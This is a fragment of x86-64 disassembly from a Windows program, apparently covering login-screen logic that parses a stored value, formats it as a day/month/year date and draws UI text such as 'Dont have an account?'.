jbe 0x140041372
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, 6
lea rdx, str.detect
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [0x140163ac0]
call fcn.140068050
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400413c0
mov rax, qword [rax]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400413c3
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rbx, rcx
ja 0x140041400
cmp rcx, 0xf
cmova r13, qword [0x1401623c8]
mov qword [0x1401623d8], rbx
mov r8, rbx
mov rdx, rax
mov rcx, r13
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + r13], 0
jmp 0x14004140f
mov r9, rax
mov rdx, rbx
mov rcx, r13
call fcn.1400476e0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004144d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041448
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041448
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
mov rbx, qword [0x140163c00]
mov rax, qword [0x140163c08]
sub rax, rbx
sar rax, 6
test rax, rax
je 0x1400418d5
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.140043b10
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.140043b10
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 8]
call fcn.140043b10
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400414ac
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400414f5
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400414f0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140041665
mov rcx, r8
call fcn.1400b8cfc
xor r14d, r14d
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r14b
mov qword [rbp + 0x50], rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x40], xmm1
mov eax, dword [rbp - 0x60]
mov dword [rbp - 0x30], eax
lea r9, [rbp - 0x50]
lea r8, str._d__m__Y
lea edx, [r14 + 0x50]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x1d0]
mov r8, rsi
inc r8
cmp byte [rax + r8], r14b
jne 0x140041566
lea rdx, [rbp + 0x1d0]
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x1400415c1
mov rcx, qword [0x140162328]
inc rdx
cmp rdx, 0x1000
jb 0x1400415bc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140041665
mov rcx, r8
call fcn.1400b8cfc
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [0x140162328], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x140162338], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov r8d, 4
lea rdx, str.last
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [0x140163ac0]
call fcn.140068050
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140041622
mov rax, qword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140041622
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rsi, rcx
ja 0x14004166c
cmp rcx, 0xf
lea rbx, [0x140162368]
cmova rbx, qword [0x140162368]
mov qword [0x140162378], rsi
mov r8, rsi
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x14004167f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r9, rax
mov rdx, rsi
lea rcx, [0x140162368]
call fcn.1400476e0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400416bd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400416b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
mov dword [0x140163788], 2
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140041704
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004173c
call fcn.1400b8cfc
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140041748
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041743
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
mov rdi, qword [rbp + 0x48]
movaps xmm0, xmmword [0x14010dfc0]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov r8d, eax
movss xmm0, dword [rbp - 0x20]
movss dword [rbp + 0x48], xmm0
subss xmm13, xmm7
movaps xmm0, xmm13
addss xmm0, xmm8
movss dword [rbp + 0x4c], xmm0
mov rcx, qword [0x140163a90]
test eax, 0xff000000
je 0x1400417e7
test rcx, rcx
jne 0x14004179b
mov rax, qword [rdi + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c13f]
mov qword [rsp + 0x38], rax
lea rax, str.Dont_have_an_account_
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x48]
movaps xmm2, xmm10
mov rdx, rdi
call fcn.14002c360
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
movss xmm0, dword [rsp + 0x78]
subss xmm0, dword [rsp + 0x70]
addss xmm1, xmm0
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, xmm13
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov qword [rbp + 0x48], 0
lea rdx, [rbp + 0x48]
call fcn.14002f910
test al, al
je 0x140041868
mov dword [0x140163788], 1
call fcn.1400100d0
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400b8a40
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140045640
nop
mov rcx, rax
call fcn.140045270
mov qword [rbp + 0x48], rax
lea r8, [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.140052d70
nop
mov r8, rax
lea rcx, [rbp + 0x80]
call fcn.140052e30
lea rdx, [0x14011be00]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140045270
mov qword [rbp + 0x48], rax
lea r8, [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.140052d70
nop
mov r8, rax
lea rcx, [rbp + 0x80]
call fcn.140052e30
lea rdx, [0x14011be00]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140045640
int3